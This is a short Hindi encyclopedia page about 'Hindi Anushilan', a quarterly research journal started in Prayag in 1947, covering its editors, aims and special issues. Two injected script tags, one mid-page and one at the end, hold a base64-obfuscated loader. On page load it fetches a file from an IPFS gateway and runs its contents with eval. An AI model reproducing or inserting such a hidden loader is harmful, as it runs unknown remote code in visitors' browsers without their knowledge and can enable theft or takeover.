हिंदी अनुशीलन (शोध पत्रिका)

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

हिंदी अनुशीलन शोध पत्रिका थी। इस त्रैमासिक शोध पत्रिका का प्रकाशन 'भारतीय हिंदी परिषद्‌', प्रयाग की ओर से सन्‌ 1947 ई. के अप्रॅल मास में प्रयाग से हुआ।

  • इसके प्रथम सम्पादक धीरेंद्र वर्मा थे।
  • 'हिंदी अनुशीलन' का उद्देश्य है "हिंदी तथा खोज के समस्त अंगों, भाषा, साहित्य तथा संस्कृति के अध्ययन को प्रोत्साहित करना और उसकी गति का विशेष रूप से निरीक्षण प्रस्तुत करना।"
  • इस पत्रिका के लेखक प्राय: हिंदी के प्राध्यापक, शोध छात्र एवं इस क्षेत्र में कार्य करने वाले अधिकारी विद्वान ही हैं।
  • बाद में इसके सम्पादक थे- रामस्वरूप चतुर्वेदी, राजेंद्र कुमार तथा बालमुकुंद गुप्त।
  • 'हिंदी अनुशीलन' के कई महत्त्वपूर्ण विशेषांक प्रकाशित हो चुके हैं-
  1. भाषा अंक
  2. धीरेंद्र वर्मा विशेषांक
  3. शोध विशेषांक
  • विषय की नवीनता एवं शोध की दृष्टि से ये दोनों अंक अत्यंत उपादेय एवं महत्त्वपूर्ण सिद्ध हुए हैं।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. हिंदी साहित्य कोश- धीरेंद्र वर्मा, भाग-2 हिंदी साहित्य का इतिहास (हिंदी)। भारतडिस्कवरी पुस्तकालय: ज्ञानमंडल लिमिटेड, वाराणसी, 678।

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>